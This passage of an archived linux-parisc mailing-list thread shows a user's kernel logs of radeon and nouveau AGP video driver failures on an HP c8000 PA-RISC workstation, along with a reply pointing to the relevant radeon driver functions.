software fbcon
[   54.684000] nouveau 0000:80:00.0: fb0: nouveaufb frame buffer device
[   54.784000] [drm] Initialized nouveau 1.3.1 20120801 for
0000:80:00.0 on minor 0

Looking inside the posts on many developers mailing lists, I see that
most of the efforts have been focused on the video device drivers init
code. I have tried to force the video drivers using the "modeset"
parameter without success. I have tried also to boot without video
driver, then load it manually using "modprobe". No way: the results
are the same.

"lsmod" tell me that "radeon"/"nouveau" are used by the "ttm" module
and they cannot be removed (despite the "- r --force" modprobe
parameters).

Let suppose for a moment that the issue is NOT inside the video driver
but in the "ttm" module: something is not fully correct in the
initialization of the ZX1 chipset, therefore the video driver code go
crazy because cannot match the video card with the chipset.

The only way that I know to investigate this issue is to recompile the
kernel with debug support and execute "single step"/breakpoint the
code that initialize the video card and the chipset near the zone of
the error message.

Question: "What are the deb packages that I need to install to
recompile the  4.4.0-1-parisc64-smp kernel (or another kernel version
suitable for this investigation) ?

Thanks in advance for you help

   Simone Mannori - Italy

//**-----------------------------------------------------------------------------------------------------------------

ATI FIRE GL T2
[   45.460000] [drm] radeon kernel modesetting enabled.
[   45.576000] radeon 0000:80:00.0: enabling SERR and PARITY (0107 -> 0147)
[   45.660000] [drm] initializing kernel modesetting (RV350
0x1002:0x4154 0x1002:0x0002).
[   45.812000] [drm] register mmio base: 0xC8020000
[   45.868000] [drm] register mmio size: 65536
[   46.084000] radeon 0000:80:00.0: putting AGP V3 device into 8x mode
[   46.160000] radeon 0000:80:00.0: GTT: 512M 0x60000000 - 0x7FFFFFFF
[   46.236000] [drm] Generation 2 PCI interface, using max accessible memory
[   46.316000] radeon 0000:80:00.0: VRAM: 128M 0xFFFFFFFFC0000000 -
0xFFFFFFFFC7FFFFFF (128M used)
[   46.420000] [drm] Detected VRAM RAM=128M, BAR=128M
[   46.476000] [drm] RAM width 128bits DDR
[   46.524000] [TTM] Zone  kernel: Available graphics memory: 3077188 kiB
[   46.604000] [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
[   46.680000] [TTM] Initializing pool allocator
[   46.732000] [drm] radeon: 128M of VRAM memory ready
[   46.792000] [drm] radeon: 512M of GTT memory ready.
[   46.852000] [drm] radeon: 1 quad pipes, 1 Z pipes initialized.
[   46.944000] radeon 0000:80:00.0: WB disabled
[   46.996000] radeon 0000:80:00.0: fence driver on ring 0 use gpu
addr 0x0000000060000000 and cpu addr 0x0000000011279000
[   47.124000] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
[   47.204000] [drm] Driver supports precise vblank timestamp query.
[   47.276000] [drm] radeon: irq initialized.
[   47.328000] [drm] Loading R300 Microcode
[   47.468000] radeon 0000:80:00.0: firmware: direct-loading firmware
radeon/R300_cp.bin
[   47.584000] [drm] radeon: ring at 0x0000000060001000
[   47.836000] [drm:r100_ring_test [radeon]] *ERROR* radeon: ring test
failed (scratch(0x15E4)=0xCAFEDEAD)
[   47.948000] [drm:r100_cp_init [radeon]] *ERROR* radeon: cp isn't
working (-22).
[   48.036000] radeon 0000:80:00.0: failed initializing CP (-22).
[   48.036000] radeon 0000:80:00.0: Disabling GPU acceleration
[  OK  ] Found device ST373207LW 2.
[   48.236000] [drm:r100_cp_fini [radeon]] *ERROR* Wait for CP idle
timeout, shutting down CP.
[   48.384000] [drm] radeon: cp finalized
[   48.448000] [drm] radeon: cp finalized
[   48.496000] [TTM] Finalizing pool allocator
[   48.544000] [TTM] Zone  kernel: Used memory at exit: 0 kiB
[   48.612000] [TTM] Zone   dma32: Used memory at exit: 0 kiB
[   48.676000] [drm] radeon: ttm finalized
[   48.724000] [drm] Forcing AGP to PCI mode
         Starting File System Check on /d[   48.872000] [drm]
Generation 2 PCI interface, using max accessible memory
ev/...2-638b-4a0[   48.968000] radeon 0000:80:00.0: VRAM: 128M
0xFFFFFFFFC0000000 - 0xFFFFFFFFC7FFFFFF (128M used)
c-be55-7444e126d[   49.088000] radeon 0000:80:00.0: GTT: 512M
0xFFFFFFFFA0000000 - 0xFFFFFFFFBFFFFFFF
283...
[   49.196000] [drm] Detected VRAM RAM=128M, BAR=128M
[   49.264000] [drm] RAM width 128bits DDR
[   49.328000] [TTM] Zone  kernel: Available graphics memory: 3077188 kiB
[   49412000] [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
[   49.492000] [TTM] Initializing pool allocator
[   49.492000] [drm] radeon: 128M of VRAM memory ready
[   49.492000] [drm] radeon: 512M of GTT memory ready.
[   49.492000] [drm] GART: num cpu pages 131072, num gpu pages 131072
[   49.636000] [drm] radeon: 1 quad pipes, 1 Z pipes initialized.
[   49.636000] [drm] PCI GART of 512M enabled (table at 0x0000000043300000).
[   49.636000] radeon 0000:80:00.0: WB enabled
[   49.636000] radeon 0000:80:00.0: fence driver on ring 0 use gpu
addr 0xffffffffa0000000 and cpu addr 0x000000007d239000
[   49.636000] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
[   49.636000] [drm] Driver supports precise vblank timestamp query.
[   49.636000] [drm] radeon: irq initialized.
[   49.780000] [drm] radeon: ring at 0xFFFFFFFFA0001000
[   49.972000] [drm:r100_ring_test [radeon]] *ERROR* radeon: ring test
failed (scratch(0x15E4)=0xCAFEDEAD)
[   49.976000] [drm:r100_cp_init [radeon]] *ERROR* radeon: cp isn't
working (-22).
[   49.976000] radeon 0000:80:00.0: failed initializing CP (-22).
[   49.976000] radeon 0000:80:00.0: Disabling GPU acceleration
[   50.168000] [drm:r100_cp_fini [radeon]] *ERROR* Wait for CP idle
timeout, shutting down CP.
[   50.280000] [drm] radeon: cp finalized
[   50.592000] [drm] Radeon Display Connectors
[   50.592000] [drm] Connector 0:
[   50.592000] [drm]   VGA-1
[   50.592000] [drm]   DDC: 0x60 0x60 0x60 0x60 0x60 0x60 0x60 0x60
[   50.592000] [drm]   Encoders:
[   50.592000] [drm]     CRT1: INTERNAL_DAC1
[   50.592000] [drm] Connector 1:
[   50.592000] [drm]   DVI-I-1
[   50.592000] [drm]   HPD1
[   50.592000] [drm]   DDC: 0x64 0x64 0x64 0x64 0x64 0x64 0x64 0x64
[   50.592000] [drm]   Encoders:
[   50.592000] [drm]     CRT2: INTERNAL_DAC2
[   50.592000] [drm]     DFP1: INTERNAL_TMDS1
[   50.608000] radeon 0000:80:00.0: No connectors reported connected with modes
[   50.608000] [drm] Cannot find any crtc or sizes - going 1024x768
[   50.828000] [drm] fb mappable at 0xFFFFFFFFC0040000
[   50.828000] [drm] vram apper at 0xFFFFFFFFC0000000
[   50.828000] [drm] size 3145728
[   50.828000] [drm] fb depth is 24
[   50.828000] [drm]    pitch is 4096
[   51.848000] Console: switching to colour frame buffer device 128x48
[   52.080000] radeon 0000:80:00.0: fb0: radeondrmfb frame buffer device
[   52172000] [drm] Initialized radeon 2.43.0 20080528 for
0000:80:00.0 on minor 0

NVIDIA QUADRO MXR
[   51.880000] nouveau 0000:80:00.0: enabling SERR and PARITY (0007 -> 0147)
[   52.044000] nouveau 0000:80:00.0: NVIDIA NV11 (011300a1)
[   52.364000] nouveau 0000:80:00.0: bios: version 03.11.01.24.00
[   52.488000] nouveau 0000:80:00.0: putting AGP V2 device into 4x mode
[   52.592000] nouveau 0000:80:00.0: putting AGP V2 device into 4x mode
[   52.668000] nouveau 0000:80:00.0: tmr: unknown input clock freq
[   52.740000] nouveau 0000:80:00.0: fb: 32 MiB SDRAM
[   52.844000] [TTM] Zone  kernel: Available graphics memory: 3077188 kiB
[   52.920000] [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
[   52.920000] [TTM] Initializing pool allocator
[   52.928000] nouveau 0000:80:00.0: DRM: VRAM: 31 MiB
[   52.928000] nouveau 0000:80:00.0: DRM: GART: 512 MiB
[   52.928000] nouveau 0000:80:00.0: DRM: BMP version 5.20
[   52.928000] nouveau 0000:80:00.0: DRM: No useful DCB data in VBIOS
[   52.928000] nouveau 0000:80:00.0: DRM: Adaptor not initialised,
running VBIOS init tables.
[   53.016000] nouveau 0000:80:00.0: DRM: Saving VGA fonts
[   53.336000] nouveau 0000:80:00.0: DRM: No useful DCB data in VBIOS
[   53.336000] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
[   53.336000] [drm] Driver supports precise vblank timestamp query.
[   53.336000] nouveau 0000:80:00.0: DRM: 0xABA2: Parsing digital
output script table
[   53.920000] nouveau 0000:80:00.0: DRM: MM: using M2MF for buffer copies
[   54.144000] nouveau 0000:80:00.0: DRM: allocated 1920x1200 fb:
0x8000, bo 000000007cee1000
[   54.276000] nouveau 0000:80:00.0: DRM: 0xABCE: Parsing digital
output script table
[   54.312000] Console: switching to colour frame buffer device 240x75
[   54.388000] nouveau 0000:80:00.0: DRM: GPU lockup - switching to
software fbcon
[   54.684000] nouveau 0000:80:00.0: fb0: nouveaufb frame buffer device
[   54.784000] [drm] Initialized nouveau 1.3.1 20120801 for
0000:80:00.0 on minor 0
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Graham Gower <graham.gower@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Video cards init failure loading the device driver kernel module
Date: Sun, 3 Apr 2016 18:03:41 +0930
Lines: 228
Approved: news@gmane.org
Message-ID: <CAFk90B_NYt=b03fLLD6hs-bYc-Vs2YtPJPRQdEY3goOruKM++A@mail.gmail.com>
References: <CACrbsaB0jQ_9xOCwebpsf5jMijqoi7mHopo4nNC-RAnvSye3VQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1459672438 10761 80.91.229.3 (3 Apr 2016 08:33:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 Apr 2016 08:33:58 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Simone Mannori <simone.mannori@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 03 10:33:57 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1amdTo-0003A5-Na
	for glpp-linux-parisc@plane.gmane.org; Sun, 03 Apr 2016 10:33:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751873AbcDCIdu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Apr 2016 04:33:50 -0400
Original-Received: from mail-lb0-f176.google.com ([209.85.217.176]:34630 "EHLO
	mail-lb0-f176.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751723AbcDCIdn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Apr 2016 04:33:43 -0400
Original-Received: by mail-lb0-f176.google.com with SMTP id vo2so118037139lbb.1
        for <linux-parisc@vger.kernel.org>; Sun, 03 Apr 2016 01:33:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc;
        bh=aBFlhPZKeq1U+OmPOGGvBpe5iaMwaFal0vYXgA2n0WU=;
        b=h+9I+5BPKmZbEmL9o0om8hJAx76+6TQUw6kwWkJcXWXQ6ejWR3Zu2eQ6dHAgMNTOCU
         SH2hPG8raVLm2aSrLoqaqHCHkZS+rV70wfmmQA0YxHBXwB5ZgfKm08YYJJSgbhj/YAd+
         CFSh3mcFdyyDd0Hckxrm++DA4LgQgP31s4yhYstewFSVLLkhe2RDLR6tRymWFaVqQiKr
         oBjSWa166tioq+w7IIalylDZ/UoKH4k/TI3nZa04cKl3MWUjUjjx/h3YIggS+flsFBo7
         CBqNT5j++3G091Tg2hFzKe3MyMCiaa2BWI7IVFMJUr6zKAgFjc6V6MvJ5MaftFOi3z/d
         4mHQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=aBFlhPZKeq1U+OmPOGGvBpe5iaMwaFal0vYXgA2n0WU=;
        b=QuSChEpaSYvsrv3fvCHug54a4/NDe0mjPMroQMDuQuZUrQdxH9Lead+5/yXKiEHyJe
         p9mpVXI5EgZ+I5TTmtg+6K0OqWPLxp18XnEUbgYrNPrnhadI9aZbZT/zKLtM02cKLBDK
         7YrdwJMP+tFOyHw8JFVDZ/NNvRb1gL2gD40QZDaEgguWJM3U76Y+AeeIk++ewa6qC4/N
         zTEo8AwpmODkJ413gv7vl/s4n6i5ANgcFAam+v5MPf2tuCWZly3EphqoNMeB+xvWHF8v
         MC+DxxccWvNh0HQru6N/9TOKaJoJT/BW7di8DbOf+DxZnREnewhKJApQhibA/bu8MzWe
         0pWA==
X-Gm-Message-State: AD7BkJLtvlIiK4kldhmxkVezPJVg74GE2YS1DtrKPvcNekYqOM+Bo8dSop/iMerDVoKLoDqbrCIjernN/bLNKQ==
X-Received: by 10.28.57.132 with SMTP id g126mr6604121wma.74.1459672421206;
 Sun, 03 Apr 2016 01:33:41 -0700 (PDT)
Original-Received: by 10.28.232.79 with HTTP; Sun, 3 Apr 2016 01:33:41 -0700 (PDT)
In-Reply-To: <CACrbsaB0jQ_9xOCwebpsf5jMijqoi7mHopo4nNC-RAnvSye3VQ@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26577
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26577>

Hi Simone,

For the radeon driver, you want to be looking at
linux/drivers/gpu/drm/radeon/r100.c: r100_cp_init()
and
linux/drivers/gpu/drm/radeon/r300.c: r300_ring_start()
and
linux/drivers/gpu/drm/radeon/r100.c: r100_ring_test()

As you seem to be aware though, the problem is not in the driver. This
makes the culprit far more difficult to track down, as the code at the
point of failure is not necessarily the code that needs to be fixed.
I'll fire up my c8000 and see if I can remember what I tried last
time, which might rule some things in/out for those who are smarter
than I.

Good luck!
-G

On 3 April 2016 at 17:04, Simone Mannori <simone.mannori@gmail.com> wrote:
> Dear All,
>
> following you suggestions, now I have an - almost - perfectly working
> hp c8000 workstation.
>
> Mission accomplished? Not exactly: despite a lot of efforts, the video
> card section is still not fully operative. Let me resume the
> situation.
>
> I'm using a c8000 with two PA-8800 and Debian 8.0, kernel:
>
> Linux version 4.4.0-1-parisc64-smp (debian-kernel@lists.debian.org)
> (gcc version 4.9.3 (GCC) ) #1 SMP Debian 4.4.6-1 (2016-03-17)
>
> I have two very different AGP video cards (ATI FireGL T2 and NVIDIA
> QUADRO MXR) that have the same issue, despite the two complety
> different drivers ("radeon" and "nouveau"). The full logs are in
> bottom of this post. Just to make a long history short:
>
> ATI FIRE GL T2 ("radeon")
> [   47.836000] [drm:r100_ring_test [radeon]] *ERROR* radeon: ring test
> failed (scratch(0x15E4)=0xCAFEDEAD)
> [   47.948000] [drm:r100_cp_init [radeon]] *ERROR* radeon: cp isn't
> working (-22).
> [   48.036000] radeon 0000:80:00.0: failed initializing CP (-22).
> [   48.036000] radeon 0000:80:00.0: Disabling GPU acceleration
>
> NVIDIA QUADRO MXR ("nouveau")
> [   54.388000] nouveau 0000:80:00.0: DRM: GPU lockup - switching to
> software fbcon
> [   54.684000] nouveau 0000:80:00.0: fb0: nouveaufb frame buffer device
> [   54.784000] [drm] Initialized nouveau 1.3.1 20120801 for
> 0000:80:00.0 on minor 0
>
> Looking inside the posts on many developers mailing lists, I see that
> most of the efforts have been focused on the video device drivers init
> code. I have tried to force the video drivers using the "modeset"
> parameter without success. I have tried also to boot without video
> driver, then load it manually using "modprobe". No way: the results
> are the same.
>
> "lsmod" tell me that "radeon"/"nouveau" are used by the "ttm" module
> and they cannot be removed (despite the "- r --force" modprobe
> parameters).
>
> Let suppose for a moment that the issue is NOT inside the video driver
> but in the "ttm" module: something is not fully correct in the
> initialization of the ZX1 chipset, therefore the video driver code go
> crazy because cannot match the video card with the chipset.
>
> The only way that I know to investigate this issue is to recompile the
> kernel with debug support and execute "single step"/breakpoint the
> code that initialize the video card and the chipset near the zone of
> the error message.
>
> Question: "What are the deb packages that I need to install to
> recompile the  4.4.0-1-parisc64-smp kernel (or another kernel version
> suitable for this investigation) ?
>
> Thanks in advance for you help
>
>    Simone Mannori - Italy
>
> //**-----------------------------------------------------------------------------------------------------------------
>
> ATI FIRE GL T2
> [   45.460000] [drm] radeon kernel modesetting enabled.
> [   45.576000] radeon 0000:80:00.0: enabling SERR and PARITY (0107 -> 0147)
> [   45.660000] [drm] initializing kernel modesetting (RV350
> 0x1002:0x4154 0x1002:0x0002).
> [   45.812000] [drm] register mmio base: 0xC8020000
> [   45.868000] [drm] register mmio size: 65536
> [   46.084000] radeon 0000:80:00.0: putting AGP V3 device into 8x mode
> [   46.160000] radeon 0000:80:00.0: GTT: 512M 0x60000000 - 0x7FFFFFFF
> [   46.236000] [drm] Generation 2 PCI interface, using max accessible memory
> [   46.316000] radeon 0000:80:00.0: VRAM: 128M 0xFFFFFFFFC0000000 -
> 0xFFFFFFFFC7FFFFFF (128M used)
> [   46.420000] [drm] Detected VRAM RAM=128M, BAR=128M
> [   46.476000] [drm] RAM width 128bits DDR
> [   46.524000] [TTM] Zone  kernel: Available graphics memory: 3077188 kiB
> [   46.604000] [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
> [   46.680000] [TTM] Initializing pool allocator
> [   46.732000] [drm] radeon: 128M of VRAM memory ready
> [   46.792000] [drm] radeon: 512M of GTT memory ready.
> [   46.852000] [drm] radeon: 1 quad pipes, 1 Z pipes initialized.
> [   46.944000] radeon 0000:80:00.0: WB disabled
> [   46.996000] radeon 0000:80:00.0: fence driver on ring 0 use gpu
> addr 0x0000000060000000 and cpu addr 0x0000000011279000
> [   47.124000] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
> [   47.204000] [drm] Driver supports precise vblank timestamp query.
> [   47.276000] [drm] radeon: irq initialized.
> [   47.328000] [drm] Loading R300 Microcode
> [   47.468000] radeon 0000:80:00.0: firmware: direct-loading firmware
> radeon/R300_cp.bin
> [   47.584000] [drm] radeon: ring at 0x0000000060001000
> [   47.836000] [drm:r100_ring_test [radeon]] *ERROR* radeon: ring test
> failed (scratch(0x15E4)=0xCAFEDEAD)
> [   47.948000] [drm:r100_cp_init [radeon]] *ERROR* radeon: cp isn't
> working (-22).
> [   48.036000] radeon 0000:80:00.0: failed initializing CP (-22).
> [   48.036000] radeon 0000:80:00.0: Disabling GPU acceleration
> [  OK  ] Found device ST373207LW 2.
> [   48.236000] [drm:r100_cp_fini [radeon]] *ERROR* Wait for CP idle
> timeout, shutting down CP.
> [   48.384000] [drm] radeon: cp finalized
> [   48.448000] [drm] radeon: cp finalized
> [   48.496000] [TTM] Finalizing pool allocator
> [   48.544000] [TTM] Zone  kernel: Used memory at exit: 0 kiB
> [   48.612000] [TTM] Zone   dma32: Used memory at exit: 0 kiB
> [   48.676000] [drm] radeon: ttm finalized
> [   48.724000] [drm] Forcing AGP to PCI mode
>          Starting File System Check on /d[   48.872000] [drm]
> Generation 2 PCI interface, using max accessible memory
> ev/...2-638b-4a0[   48.968000] radeon 0000:80:00.0: VRAM: 128M
> 0xFFFFFFFFC0000000 - 0xFFFFFFFFC7FFFFFF (128M used)
> c-be55-7444e126d[   49.088000] radeon 0000:80:00.0: GTT: 512M
> 0xFFFFFFFFA0000000 - 0xFFFFFFFFBFFFFFFF
> 283...
> [   49.196000] [drm] Detected VRAM RAM=128M, BAR=128M
> [   49.264000] [drm] RAM width 128bits DDR
> [   49.328000] [TTM] Zone  kernel: Available graphics memory: 3077188 kiB
> [   49412000] [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
> [   49.492000] [TTM] Initializing pool allocator
> [   49.492000] [drm] radeon: 128M of VRAM memory ready
> [   49.492000] [drm] radeon: 512M of GTT memory ready.
> [   49.492000] [drm] GART: num cpu pages 131072, num gpu pages 131072
> [   49.636000] [drm] radeon: 1 quad pipes, 1 Z pipes initialized.
> [   49.636000] [drm] PCI GART of 512M enabled (table at 0x0000000043300000).
> [   49.636000] radeon 0000:80:00.0: WB enabled
> [   49.636000] radeon 0000:80:00.0: fence driver on ring 0 use gpu
> addr 0xffffffffa0000000 and cpu addr 0x000000007d239000
> [   49.636000] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
> [   49.636000] [drm] Driver supports precise vblank timestamp query.
> [   49.636000] [drm] radeon: irq initialized.
> [   49.780000] [drm] radeon: ring at 0xFFFFFFFFA0001000
> [   49.972000] [drm:r100_ring_test [radeon]] *ERROR* radeon: ring test
> failed (scratch(0x15E4)=0xCAFEDEAD)
> [   49.976000] [drm:r100_cp_init [radeon]] *ERROR* radeon: cp isn't
> working (-22).
> [   49.976000] radeon 0000:80:00.0: failed initializing CP (-22).
> [   49.976000] radeon 0000:80:00.0: Disabling GPU acceleration
> [   50.168000] [drm:r100_cp_fini [radeon]] *ERROR* Wait for CP idle
> timeout, shutting down CP.
> [   50.280000] [drm] radeon: cp finalized
> [   50.592000] [drm] Radeon Display Connectors
> [   50.592000] [drm] Connector 0:
> [   50.592000] [drm]   VGA-1
> [   50.592000] [drm]   DDC: 0x60 0x60 0x60 0x60 0x60 0x60 0x60 0x60
> [   50.592000] [drm]   Encoders:
> [   50.592000] [drm]     CRT1: INTERNAL_DAC1
> [   50.592000] [drm] Connector 1:
> [   50.592000] [drm]   DVI-I-1
> [   50.592000] [drm]   HPD1
> [   50.592000] [drm]   DDC: 0x64 0x64 0x64 0x64 0x64 0x64 0x64 0x64
> [   50.592000] [drm]   Encoders:
> [   50.592000] [drm]     CRT2: INTERNAL_DAC2
> [   50.592000] [drm]     DFP1: INTERNAL_TMDS1
> [   50.608000] radeon 0000:80:00.0: No connectors reported connected with modes
> [   50.608000] [drm] Cannot find any crtc or sizes - going 1024x768
> [   50.828000] [drm] fb mappable at 0xFFFFFFFFC0040000
> [   50.828000] [drm] vram apper at 0xFFFFFFFFC0000000
> [   50.828000] [drm] size 3145728
> [   50.828000] [drm] fb depth is 24
> [   50.828000] [drm]    pitch is 4096
> [   51.848000] Console: switching to colour frame buffer device 128x48
> [   52.080000] radeon 0000:80:00.0: fb0: radeondrmfb frame buffer device
> [   52172000] [drm] Initialized radeon 2.43.0 20080528 for
> 0000:80:00.0 on minor 0
>
> NVIDIA QUADRO MXR
> [   51.880000] nouveau 0000:80:00.0: enabling SERR and PARITY (0007 -> 0147)
> [   52.044000] nouveau 0000:80:00.0: NVIDIA NV11 (011300a1)
> [   52.364000] nouveau 0000:80:00.0: bios: version 03.11.01.24.00
> [   52.488000] nouveau 0000:80:00.0: putting AGP V2 device into 4x mode
> [   52.592000] nouveau 0000:80:00.0: putting AGP V2 device into 4x mode
> [   52.668000] nouveau 0000:80:00.0: tmr: unknown input clock freq
> [   52.740000] nouveau 0000:80:00.0: fb: 32 MiB SDRAM
> [   52.844000] [TTM] Zone  kernel: Available graphics memory: 3077188 kiB
> [   52.920000] [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
> [   52.920000] [TTM] Initializing pool allocator
> [   52.928000] nouveau 0000:80:00.0: DRM: VRAM: 31 MiB
> [   52.928000] nouveau 0000:80:00.0: DRM: GART: 512 MiB
> [   52.928000] nouveau 0000:80:00.0: DRM: BMP version 5.20
> [   52.928000] nouveau 0000:80:00.0: DRM: No useful DCB data in VBIOS
> [   52.928000] nouveau 0000:80:00.0: DRM: Adaptor not initialised,
> running VBIOS init tables.
> [   53.016000] nouveau 0000:80:00.0: DRM: Saving VGA fonts
> [   53.336000] nouveau 0000:80:00.0: DRM: No useful DCB data in VBIOS
> [   53.336000] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
> [   53.336000] [drm] Driver supports precise vblank timestamp query.
> [   53.336000] nouveau 0000:80:00.0: DRM: 0xABA2: Parsing digital
> output script table
> [   53.920000] nouveau 0000:80:00.0: DRM: MM: using M2MF for buffer copies
> [   54.144000] nouveau 0000:80:00.0: DRM: allocated 1920x1200 fb:
> 0x8000, bo 000000007cee1000
> [   54.276000] nouveau 0000:80:00.0: DRM: 0xABCE: Parsing digital
> output script table
> [   54.312000] Console: switching to colour frame buffer device 240x75
> [   54.388000] nouveau 0000:80:00.0: DRM: GPU lockup - switching to
> software fbcon
> [   54.684000] nouveau 0000:80:00.0: fb0: nouveaufb frame buffer device
> [   54.784000] [drm] Initialized nouveau 1.3.1 20120801 for
> 0000:80:00.0 on minor 0
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Video cards init failure loading the device driver kernel module
Date: Sun, 3 Apr 2016 11:44:04 +0200
Lines: 237
Approved: news@gmane.org
Message-ID: <5700E5E4.5020109@gmx.de>
References: <CACrbsaB0jQ_9xOCwebpsf5jMijqoi7mHopo4nNC-RAnvSye3VQ@mail.gmail.com>
 <CAFk90B_NYt=b03fLLD6hs-bYc-Vs2YtPJPRQdEY3goOruKM++A@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1459676803 5269 80.91.229.3 (3 Apr 2016 09:46:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 Apr 2016 09:46:43 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Graham Gower <graham.gower@gmail.com>,
	Simone Mannori <simone.mannori@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 03 11:46:37 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1amec7-000755-Rg
	for glpp-linux-parisc@plane.gmane.org; Sun, 03 Apr 2016 11:46:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752807AbcDCJoR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Apr 2016 05:44:17 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:57806 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752581AbcDCJoN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Apr 2016 05:44:13 -0400
Original-Received: from [192.168.20.60] ([92.203.38.102]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0MGXV6-1azpqx3p68-00DEag; Sun, 03 Apr 2016 11:44:08
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <CAFk90B_NYt=b03fLLD6hs-bYc-Vs2YtPJPRQdEY3goOruKM++A@mail.gmail.com>
X-Provags-ID: V03:K0:Zpv0sU50DVinQ1t8HAgtqaQy9+b4BhGiDmxYJisxi8h+mZOZic3
 YBrz07wIvFD6Vt7v2pyd17St/wULPbldXzyIao1SoDmunlPiJF2L7ef4SqJmKY8HLZk4Tow
 mvzt3hn9yeHFgMJHhGeRPVwq6WKAwnnp3+7+wH1Hbg6Z41jnKIW1dsEojdzNV/eXUd11UrX
 wL7/8MREQ+/HzH6x0oYoA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:bSYxCF5wau0=:qKOFWQt7bB/vM9ZnKqkwux
 vcVR2UZhIqxaNN22IgRxaFddQWno3fKDsj00DOolTz3FJ8/kQHf8asZNcf64/qD7ntxGjgYza
 y9wRD+GU7EsoUSGsyQi8MMvUrmWn2hcPLTbiKmtVGotEHv2MnIZLRf3sP3LQki/adzxxmmbE+
 zjcWnkBSIm50x2UssmGS20uz3qfaeO01N0IAos3yH7NxsJr2HZgNLfbrpDy0JrKk7A8mJ0GNP
 31pLdRvCdNk8l8rOSLPn7zHUaE0OpSt5eKDWMbGxHBOv9PYm/ogfe8wBALTTt+EUR6PqloJk3
 iOslGttjIHeYdosLZUMT/43GIKg8gnr5w46eC3ZE06d15xpY6+5zGeug4uDituQaay0NVVh8e
 l2hZYYKOfT+WOA2td+Pr+G4sHFvpqHx7K0+YZL+CjUEcildQ+hn4OWRr+gSQDgT4+xS5pBF4k
 TY7fWmLBq4l1bYM1Nz+r+E3v1fRJkVZfirafwGVu3An6tr3IUuuOkpsaBzjMna0i1AwRWbS7y
 D1R3bxUJUtu/9psGw7XJTwawlUW+6Mkr7FEsv8TfqsOpiIDnJV6tqxyTjms222cdNzWlKFYeX
